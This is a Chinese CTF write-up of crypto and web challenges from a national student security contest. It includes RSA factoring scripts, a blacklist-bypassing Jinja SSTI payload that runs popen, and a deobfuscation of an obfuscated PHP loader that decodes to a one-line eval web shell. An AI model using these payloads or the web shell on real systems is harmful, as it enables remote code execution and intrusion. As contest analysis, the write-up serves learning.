18届 全国大学生信息安全竞赛&长城杯 部分WriteUp
Crypto
rasnd
Part1
关键代码为
x1=randint(0,2**11)
y1=randint(0,2**114)
x2=randint(0,2**11)
y2=randint(0,2**514)
hint1=x1*p+y1*q-0x114
hint2=x2*p+y2*q-0x514
首先给等式两边加上没有意义的恶臭数字
变为以下两个线性方程:
其中:
- 和 是待求的素数.
- 是随机整数, 范围在 .
- 是随机整数, 范围分别在 和 .
- 和 是已知的提示值.
目标是根据已知的 和 , 求解出素数 和 .
我们希望通过选择适当的系数 和 , 构造一个新的线性组合, 使得结果只包含 或 的倍数.
同时 的空间太大, 我们 消去何其有关联的 :
由于 和 的范围较小(最多 ), 我们可以通过穷举所有可能的 和 值, 找到满足上述条件的组合.
对于每一对 , 计算:
如果 是一个非平凡因数(即 且 ), 那么 就是其中一个素数因子, 另一个因数 .
import math
from multiprocessing import Pool
from tqdm import tqdm
def find_q(args):
a, h1, h2, n = args
for b in range(2**11):
q = math.gcd(a * h1 - b * h2, n)
if q != 1 and q < n:
p = n // q
return (q, p)
return None
def main(h1, h2, n):
offset1 = 0x114
offset2 = 0x514
h1 += offset1
h2 += offset2
tasks = [(a, h1, h2, n) for a in range(2**11)]
with Pool() as pool:
# 使用 imap_unordered 以无序方式迭代结果
for result in tqdm(
pool.imap_unordered(find_q, tasks), total=len(tasks), desc="Processing"
):
if result:
q, p = result
print(f"[+] Find factor:\nq = {q}\np = {p}")
pool.terminate() # 终止进程池
pool.join() # 等待进程池终止
return
print("[-] No factor found")
if __name__ == "__main__":
n = 19248664689530123393339750857691758159828998141083113433318210575707422181489994495258568353664585884974589784326344875616422623723134787567523135053918656358818197978064530098405128694160259578347511022497921607363550797990918049734722532831572612769156259971404777247374524932064252338601246476354828069402346646655148066484265861458411755063666748004293786860672431085761001135092249308802515486462877548621098190062391716183875115012331375463955835485096757222226810547395731394800944696108335750671156420296030042196532586476376809261086236384076130490521533794626278538191680511190432034822246405284567044535737
c = 16453581113263628465402092791273671627253499425447855398153502324952305815396643914684535248142751183677820566647078077684635808968023794878415787181748005037265484795254931463576254805033054376345359635944723694122534587670849618937642199417698103245704677524885526618274177589192207268821472812014491228744087019681084825136309747168220038888386631991014234901274101176732935273456684918926783662195903675201338561673573750363288113393253956526505273390732848815303616961944660066711735531801399259938551249259161863955642767344503658923718752086167261196386024011356237085630947227087647937956059125524152447531046
h1 = 1142155587999054452936236690724846373317633853126793089144726626669657375885752630969112453860698940164376661793846305685672149286102455708196921631520363911372723899902966372266397544814322619319044169128946954204738673025539895226335296999362788265718140587423185015428744709814309161721272465730611687942859087016764569757722320187632936089
h2 = 6805681534385851179775478266005282964511861953948523771351357282112956013491219260195830638806682420098299511263106560638896904299407473460758909050042070258290378172452854156007202430941147523420211671963915796599471635868375761210639654134882971355856028137677035546043236438576341615763406191904837152865917403676918731794126663654959372843668491934375801326063783580396546640850799544632110824221535250489490336046772019863423668554252214257321844182545387418
main(h1, h2, n)
# output
"""
[+] Find factor:
q = 173412142663396382437110320378676957702956603225161519151255211880350143773589704812177489820788273353229406821960488375289526428322543015221422549411580243762548438732318695065025392633248468667975976279310511629585619218884427826162013207814208144971619806977124558725541302263038307640311180609750589387139
p = 110999520528922611556223831276039403147272276815603732103915714974874601983594863118249755178411244950467093357641175877046945239579674915877922525204065382938769748263179734335515395150856705087817738177065012773078781715075219742692030700735641665535173597866791729031008317373479919783449091106326132228883
"""
使用tag{}为式子标号:### Part 2 的详细推导
将 展开为:
由于 , 因此:
可以将其重写为:
欧拉定理 (Euler's Theorem)
将 代入欧拉定理:
分解该等式:
根据逆元定义, 将 移至等式右侧:
假设:
将 代入上述等式:
根据上述的定义, 我们有:
这意味着我们可以将 视为 在模 下的逆元.
因此, 可以表示为:
只需对 取模逆元, 即可得到 .
babypqc
2解,非预期解法。题目没有判空, 概率出, 于是我们可以:
from pwn import context, remote
import os
import subprocess
context.log_level = "debug"
os.chdir(os.path.dirname(__file__))
p = subprocess.Popen(
["python3", "task.py"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
# print(p.stdout.readline())
while True:
io = remote("127.0.0.1", 13337)
io.sendlineafter(b"m: ", b"0")
io.sendlineafter(b"signatures: ", b"[]")
all = io.recvall()
if b"flag" in all:
print(all)
break
io.close()
Web
salf_proxy
访问根路由,发现源码。以及一个很明显的 SSTI,有黑名单,懒得手动绕. 使用 Fenjing
改写题目回显部分, 原本返回 ok
, 改写后使其返回 SSTI 渲染结果, 如下
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route("/", methods=["GET"])
def source():
with open(__file__, "r", encoding="utf-8") as f:
return "<pre>" + html.escape(f.read()) + "</pre>"
@app.route("/", methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = [
"__",
"import",
"os",
"sys",
"eval",
"subprocess",
"popen",
"system",
"\r",
"\n",
]
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
# return "ok" if result is not None else "error"
# 回显执行结果
return result if result is not None else "error"
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4 :]
else:
body = response_data
response_body = body
response = (
b"HTTP/1.1 200 OK\r\n"
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n"
b"Content-Type: text/html; charset=utf-8\r\n"
b"\r\n" + response_body
)
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(
f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}..."
)
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(
target=proxy_handler.handle_request, args=(client_socket,)
)
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host="127.0.0.1", port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(
target=start_proxy_server,
args=(proxy_host, proxy_port, target_host, target_port),
)
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
几分钟后 Fenjing 给出如下 Payload
提交表单完成,返回值为200,输入为{'code': "{%print cycler.next['_'*2+'globals'+'_'*2]['_'*2+'builtins'+'_'*2]['_'*2+'i''mport'+'_'*2]('so'[::-1])['p''open']('ls').read()%}"},表单为{'action': '/', 'method': 'POST', 'inputs': {'code'}}
但因为不出网,只能尝试写文件到 /static
或是 内存马 又或是最基础的爆破, 即可获得 flag ~
反思
还是出题人反思吧, static
不可写, 但开了调试模式, 于是可以:
ls / >> app.py
hello_web
赛后问别的师傅拿到 hackme.php, 以下是反混淆的过程
<?php
// 赛后问别的师傅拿到 hackme.php, php 版本太高会报错, 题目同时泄露了 phpinfo(), 本地选择 php 7.3.x 进行分析
// 2 来自题目
// 1, 3 - 5 以及注释, 来自分析
// 赛后问别的师傅拿到 hackme.php, php 版本太高会报错, 题目同时泄露了 phpinfo(), 本地选择 php 7.3.x 进行分析
// 2 来自题目
// 1, 3 - 5 以及注释, 来自分析
// 1: Initial State Capture
$initial_vars = get_defined_vars();
$initial_functions = get_defined_functions();
$initial_classes = get_declared_classes();
// 2:Obfuscated Payload
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME"; # eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel"; # zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); # n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30}; # base
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24}; # strtr
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24}; # substr
$rVkKjU=$lapUCm{7}.$lapUCm{13}; # 52
# $var. 的意思是将 $var 的值转换为字符串,然后将字符串连接到 .= 后面的字符串上
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30}; # base64_decode
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
// 3: Final State Capture
$final_vars = get_defined_vars();
$final_functions = get_defined_functions();
$final_classes = get_declared_classes();
// 4: Compute Diffs
$new_vars = array_diff_key($final_vars, $initial_vars);
$new_functions = array_diff($final_functions['user'], $initial_functions['user']);
$new_classes = array_diff($final_classes, $initial_classes);
// 5: Print Differences
// echo "\n\n==== 📦 New Variables Added 📦 ====\n";
// print_r($new_vars);
/*
[lJbGIY] => eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME
[OlWYMv] => zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel
[lapUCm] => n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
[YwzIst] => base64_decode // 被更新
[OxirhK] => strtr
[YpAUWC] => substr
[rVkKjU] => 52
[uWcdaA] => eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==
*/
// echo "\n\n==== 📦 New Functions Added 📦 ====\n";
// print_r($new_functions);
// echo "\n\n==== 📦 New Classes Added 📦 ====\n";
// print_r($new_classes);
# 从内存中取出变量
$uWcdaA = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
// echo "Decoded Payload:\n";
// $decoded = base64_decode($uWcdaA);
// echo $decoded; # 单纯 Base64 解码会出错, 于是继续手动 print ....
echo $YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw==")
?>
output
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
依旧不怎么可读, 观察到有几个 substr
和 .
字符串拼接, 仿照题目代码中 eval()
的参数来写手动拼接解码
import base64
# 先从之前获取的信息载入 var
uWcdaA = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox=="
rVkKjU = 52
# Simulate the $YpAUWC($uWcdaA, $rVkKjU * 2), $YpAUWC($uWcdaA, $rVkKjU, $rVkKjU), $YpAUWC($uWcdaA, 0, $rVkKjU)
part1 = uWcdaA[rVkKjU*2:]
part2 = uWcdaA[rVkKjU:rVkKjU*2]
part3 = uWcdaA[:rVkKjU]
# Simulate the use of strtr($part1, $part2, $part3)
# Note: strtr() in PHP works by mapping characters in part2 to part3
trans_table = str.maketrans(part2, part3)
transformed = part1.translate(trans_table)
decoded_payload = base64.b64decode(transformed).decode('utf-8', errors='ignore')
decoded_payload # "<?php @eval($_POST['cmd_66.99']); ?>\n"
拿到一句话木马地址, 连接即可
也可以输出变量后使用最原始的肉眼分析提取, (是一种办法, 但不如直接 dump var), 被切分原数组一样的话, 可以很方便的转为拼接后结果, 注意变量重复赋值被覆盖
lapUCm = "n1zb/ma5\\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j"
# 从 php 语句中提取 Index
indices = [22, 36, 29, 26, 30, 32, 35, 26, 30]
result = ''.join([lapUCm[i] for i in indices])
result # 64_decode
反思
这道题包含 eval()
, 那我们可以用 php 的解析器直接将 eval()
的行为导出, 不过刚开始一直排斥下载 composer 导致走了一些弯路.
也可以
echo var_dump($test);
于是我们
php composer.phar require nikic/php-parser
output
Cannot use nikic/php-parser's latest version v5.3.1 as it requires php >=7.4 which is not satisfied by your platform.
./composer.json has been created
Running composer update nikic/php-parser
Loading composer repositories with package information
Updating dependencies
Lock file operations: 1 install, 0 updates, 0 removals
- Locking nikic/php-parser (v4.19.4)
Writing lock file
Installing dependencies from lock file (including require-dev)
Package operations: 1 install, 0 updates, 0 removals
- Downloading nikic/php-parser (v4.19.4)
- Installing nikic/php-parser (v4.19.4): Extracting archive
Generating autoload files
No security vulnerability advisories found.
Using version ^4.19 for nikic/php-parser
<?php
require '/vendor/autoload.php';
use PhpParser\Error;
use PhpParser\ParserFactory;
$lJbGIY = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv = "zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst = $lapUCm[3] . $lapUCm[6] . $lapUCm[33] . $lapUCm[30]; // "base"
$OxirhK = $lapUCm[33] . $lapUCm[10] . $lapUCm[24] . $lapUCm[10] . $lapUCm[24]; // "strtr"
$YpAUWC = $OxirhK[0] . $lapUCm[18] . $lapUCm[3] . $OxirhK[0] . $OxirhK[1] . $lapUCm[24]; // "substr"
$rVkKjU = $lapUCm[7] . $lapUCm[13]; // "52"
$YwzIst .= $lapUCm[22] . $lapUCm[36] . $lapUCm[29] . $lapUCm[26] . $lapUCm[30] . $lapUCm[32] . $lapUCm[35] . $lapUCm[26] . $lapUCm[30]; // "base64_decode"
$encoded_payload = "JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw==";
$decoded_code = base64_decode($encoded_payload);
$code = '<?php ' . $decoded_code;
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$ast = $parser->parse($code);
print_r($ast);
} catch (Error $e) {
echo "Parse error: {$e->getMessage()}\n";
}
output
Array
(
[0] => PhpParser\Node\Stmt\Expression Object
(
[expr] => PhpParser\Node\Expr\Assign Object
(
[var] => PhpParser\Node\Expr\Variable Object
(
[name] => uWcdaA
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[expr] => PhpParser\Node\Scalar\String_ Object
(
[value] => eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
[kind] => 2
[rawValue] => "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox=="
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[1] => PhpParser\Node\Stmt\Expression Object
(
[expr] => PhpParser\Node\Expr\Eval_ Object
(
[expr] => PhpParser\Node\Expr\BinaryOp\Concat Object
(
[left] => PhpParser\Node\Scalar\String_ Object
(
[value] => ?>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
[kind] => 1
[rawValue] => '?>'
)
)
[right] => PhpParser\Node\Expr\FuncCall Object
(
[name] => PhpParser\Node\Expr\Variable Object
(
[name] => YwzIst
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[args] => Array
(
[0] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\FuncCall Object
(
[name] => PhpParser\Node\Expr\Variable Object
(
[name] => OxirhK
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[args] => Array
(
[0] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\FuncCall Object
(
[name] => PhpParser\Node\Expr\Variable Object
(
[name] => YpAUWC
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[args] => Array
(
[0] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\Variable Object
(
[name] => uWcdaA
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[1] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\BinaryOp\Mul Object
(
[left] => PhpParser\Node\Expr\Variable Object
(
[name] => rVkKjU
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[right] => PhpParser\Node\Scalar\LNumber Object
(
[value] => 2
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
[rawValue] => 2
[kind] => 10
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[1] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\FuncCall Object
(
[name] => PhpParser\Node\Expr\Variable Object
(
[name] => YpAUWC
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[args] => Array
(
[0] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\Variable Object
(
[name] => uWcdaA
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[1] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\Variable Object
(
[name] => rVkKjU
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[2] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\Variable Object
(
[name] => rVkKjU
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[2] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\FuncCall Object
(
[name] => PhpParser\Node\Expr\Variable Object
(
[name] => YpAUWC
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[args] => Array
(
[0] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\Variable Object
(
[name] => uWcdaA
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[1] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Scalar\LNumber Object
(
[value] => 0
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
[rawValue] => 0
[kind] => 10
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[2] => PhpParser\Node\Arg Object
(
[name] =>
[value] => PhpParser\Node\Expr\Variable Object
(
[name] => rVkKjU
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[byRef] =>
[unpack] =>
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
[attributes:protected] => Array
(
[startLine] => 1
[endLine] => 1
)
)
)
通过输出,分析处理流程如下:
这里和之前 diff var 或 直接echo/print_r 的结果差不多, 也许本题此部分太简单导致没什么分析的意义.....
eval(base64_decode(
strtr(
substr($uWcdaA, 52 * 2),
substr($uWcdaA, 52, 52),
substr($uWcdaA, 0, 52)
)
));
load var
<?php
$uWcdaA = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
$rVkKjU = 52;
$part1 = substr($uWcdaA, $rVkKjU * 2); // 从位置 104 开始
$part2 = substr($uWcdaA, $rVkKjU, $rVkKjU); // 从位置 52 开始,长度 52
$part3 = substr($uWcdaA, 0, $rVkKjU); // 从位置 0 开始,长度 52
$result = strtr($part1, $part2, $part3);
echo base64_decode($result);
output
<?php @eval($_POST['cmd_66.99']); ?>
反思过后
好像更麻烦了, 所以能不能直接看到 eval
执行的最终结果呢, 除了调试
对于这次比赛, 引用此前(并非谈论本次比赛) Reverier-Xu 的名言